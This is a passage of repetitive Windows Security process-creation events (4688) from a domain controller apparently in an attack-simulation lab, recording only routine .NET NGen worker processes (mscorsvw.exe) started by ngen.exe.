Process ID: 0x1030 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6b8 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 67c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254692 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 770 -Pipe 6ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 7c8 -Pipe 360 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 770 -Pipe 700 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254697 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c0 -InterruptEvent 0 -NGENProcess 7a0 -Pipe 4fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254696 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 704 -InterruptEvent 0 -NGENProcess 724 -Pipe 2b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254699 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7a0 -InterruptEvent 0 -NGENProcess 484 -Pipe 344 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254698 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 6e0 -Pipe 284 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254706 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 7f4 -Pipe 64c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254705 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 770 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254704 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 4d4 -Pipe 424 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254703 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 484 -Pipe 7a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254702 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 41c -Pipe 4ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254701 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x103c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 484 -Pipe 6b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254700 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 41c -InterruptEvent 0 -NGENProcess 6e0 -Pipe 7c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254710 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 4d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254709 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 680 -Pipe 484 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254708 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f4 -InterruptEvent 0 -NGENProcess 41c -Pipe 720 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254707 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 680 -InterruptEvent 0 -NGENProcess 478 -Pipe 498 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the 